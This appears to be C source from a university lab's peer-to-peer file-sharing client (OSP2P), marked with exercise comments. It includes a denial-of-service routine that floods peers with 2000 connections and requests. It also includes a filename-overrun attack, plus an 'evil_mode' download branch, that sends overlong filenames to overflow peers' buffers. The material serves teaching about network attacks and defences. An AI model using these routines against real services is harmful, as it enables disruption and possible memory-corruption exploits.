static void denial_of_service(task_t *t)
{
if (!t || !t->peer_list) {
error("No peer can be attacked!\n");
task_free(t);
return;
}else if(t->peer_list->addr.s_addr == listen_addr.s_addr
&& t->peer_list->port == listen_port)
goto try_again;
peer_t *current_peer_list = t->peer_list;
int i = 0;
for(;i<2000;i++) {
message("* Attacking peer %s:%d\n",
inet_ntoa(current_peer_list->addr), current_peer_list->port);
t->peer_fd = open_socket(current_peer_list->addr, current_peer_list->port);
if (t->peer_fd == -1) {
error("* Cannot connect to peer: %s for attack\n", strerror(errno));
goto try_again;
}
osp2p_writef(t->peer_fd, "GET cat1.jpg OSP2P\n");
next:
current_peer_list = current_peer_list->next==0 ? t->peer_list : current_peer_list->next;
//current_peer_list = current_peer_list->next;
}
message("finish deploying attack\n");
return;
try_again:
// recursive call
task_pop_peer(t);
denial_of_service(t);
}
// task_free(t)
// Frees all memory and closes all file descriptors relative to 't'.
static void task_free(task_t *t)
{
if (t) {
do {
task_pop_peer(t);
} while (t->peer_list);
free(t);
}
}
static void do_filename_overrun_attack(task_t *overrun_task)
{
if (!overrun_task || !overrun_task->peer_list) {
error("No peer can be attacked!\n");
//task_free(overrun_task);
return;
}else if(overrun_task->peer_list->addr.s_addr == listen_addr.s_addr
&& overrun_task->peer_list->port == listen_port)
goto try_again;
while (overrun_task->peer_list!=0) {
message("* Attacking peer %s:%d\n",
inet_ntoa(overrun_task->peer_list->addr), overrun_task->peer_list->port);
overrun_task->peer_fd = open_socket(overrun_task->peer_list->addr, overrun_task->peer_list->port);
if (overrun_task->peer_fd == -1) {
error("* Cannot connect to peer: %s for attack\n", strerror(errno));
goto try_again;
}
osp2p_writef(overrun_task->peer_fd, "GET \
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa OSP2P\n");
task_pop_peer(overrun_task);
}
message("Attack succeeded\n");
return;
try_again:
// recursive call
task_pop_peer(overrun_task);
do_filename_overrun_attack(overrun_task);
}
// task_download(t, tracker_task)
// Downloads the file specified by the input task 't' into the current
// directory. 't' was created by start_download().
// Starts with the first peer on 't's peer list, then tries all peers
// until a download is successful.
static void task_download(task_t *t, task_t *tracker_task)
{
int i, ret = -1;
size_t messagepos;
assert((!t || t->type == TASK_DOWNLOAD)
&& tracker_task->type == TASK_TRACKER);
//Read the checksum of the file from tracker:
char *file_digest = 0;
osp2p_writef(tracker_task->peer_fd, "MD5SUM %s\n", t->filename);
messagepos = read_tracker_response(tracker_task);
message("Tracker buf: %s\n", tracker_task->buf);
if (tracker_task->buf[messagepos] != '2') {
error("* Tracker error message while requesting checksum of '%s':\n%s",
t->filename, &tracker_task->buf[messagepos]);
}
else{
file_digest = malloc(MD5_TEXT_DIGEST_SIZE+1);
memcpy(file_digest, tracker_task->buf, MD5_TEXT_DIGEST_SIZE);
file_digest[MD5_TEXT_DIGEST_SIZE] = 0;
}
// Quit if no peers, and skip this peer
if (!t || !t->peer_list) {
error("* No peers are willing to serve '%s'\n",
(t ? t->filename : "that file"));
task_free(t);
return;
} else if (t->peer_list->addr.s_addr == listen_addr.s_addr
&& t->peer_list->port == listen_port)
goto try_again;
t->disk_fd = open(t->disk_filename, O_WRONLY | O_CREAT | O_EXCL, 0666);
if (t->disk_fd == -1 && errno != EEXIST) {
error("* Cannot open local file");
goto try_again;
} else if (t->disk_fd != -1)
message("* Saving result to '%s'\n", t->disk_filename);
int blockno = 0;
int i_peer = 0;
peer_t *apeer;
while(1){
apeer = get_peer(t->peer_list, i_peer);
// Connect to the peer and write the GET command
message("* Connecting to %s:%d to download '%s'\n",
inet_ntoa(apeer->addr), apeer->port,
t->filename);
t->peer_fd = open_socket(apeer->addr, apeer->port);
if (t->peer_fd == -1) {
error("* Cannot connect to peer: %s\n", strerror(errno));
goto try_again;
}
if(evil_mode == 0)
osp2p_writef(t->peer_fd, "GET %s%d OSP2P\n", t->filename, blockno);
else{
//*******************************
//Exercise 3: try to overflow a peer's buffer by requesting a file with a long name
char evil_name[2*FILENAMESIZ];
int i_name;
for(i_name = 0; i_name < 2*FILENAMESIZ - 1; i_name++)
evil_name[i_name] = 'a';
evil_name[i_name] = 0;
osp2p_writef(t->peer_fd, "GET %s OSP2P\n", evil_name);
//**********************************
}
// Open disk file for the result.
// If the filename already exists, save the file in a name like
// "foo.txt~1~". However, if there are 50 local files, don't download
// at all.
/* for (i = 0; i < 50; i++) {
if (i == 0)
strcpy(t->disk_filename, t->filename);
else
sprintf(t->disk_filename, "%s~%d~", t->filename, i);
t->disk_fd = open(t->disk_filename,
O_WRONLY | O_CREAT | O_EXCL, 0666);
if (t->disk_fd == -1 && errno != EEXIST) {
error("* Cannot open local file");
goto try_again;
} else if (t->disk_fd != -1) {
message("* Saving result to '%s'\n", t->disk_filename);
break;
}
}
if (t->disk_fd == -1) {
error("* Too many local files like '%s' exist already.\n\
* Try 'rm %s.~*~' to remove them.\n", t->filename, t->filename);
task_free(t);
return;
}*/
lseek(t->disk_fd, BLKSIZE, SEEK_CUR);
// Read the file into the task buffer from the peer,
// and write it from the task buffer onto disk.
while (1) {
int ret = read_to_taskbuf(t->peer_fd, t);
if (ret == TBUF_ERROR) {
error("* Peer read error");
goto try_again;
} else if (ret == TBUF_END && t->head == t->tail)
/* End of file */
break;
ret = write_from_taskbuf(t->disk_fd, t);
if (ret == TBUF_ERROR) {
error("* Disk write error");
goto try_again;
}
//*********************************
//Exercise 2: prevent from downloading a file that is too large
if(t->total_written > MAX_FILE_SIZE){
error("* Error: file too big for download\n");
goto try_again;
}
//**********************************
}
if(ret == TBUF_END && t->head == t->tail)
break;
//Compare the checksum of file on disk to checksum reported by tracker:
if(file_digest){
char *download_digest = create_digest(t->disk_filename);
message("* Tracker's checksum for file '%s' is: %s\n", t->filename,
file_digest);
message("* Checksum of the downloaded file is: %s\n", download_digest);
if(strcmp(file_digest, download_digest) != 0){
error("* Downloaded a corrupted file!!! Try download again...\n");
}
}
blockno++;
i_peer++;
}
// Empty files are usually a symptom of some error.
if (t->total_written > 0) {
message("* Downloaded '%s' was %lu bytes long\n",
t->disk_filename, (unsigned long) t->total_written);
// Inform the tracker that we now have the file,
// and can serve it to others! (But ignore tracker errors.)
if (strcmp(t->filename, t->disk_filename) == 0) {
osp2p_writef(tracker_task->peer_fd, "HAVE %s\n",
t->filename);
(void) read_tracker_response(tracker_task);
}
task_free(t);
return;
}
error("* Download was empty, trying next peer\n");
try_again:
if (t->disk_filename[0])
unlink(t->disk_filename);
// recursive call
task_pop_peer(t);
task_download(t, tracker_task);
}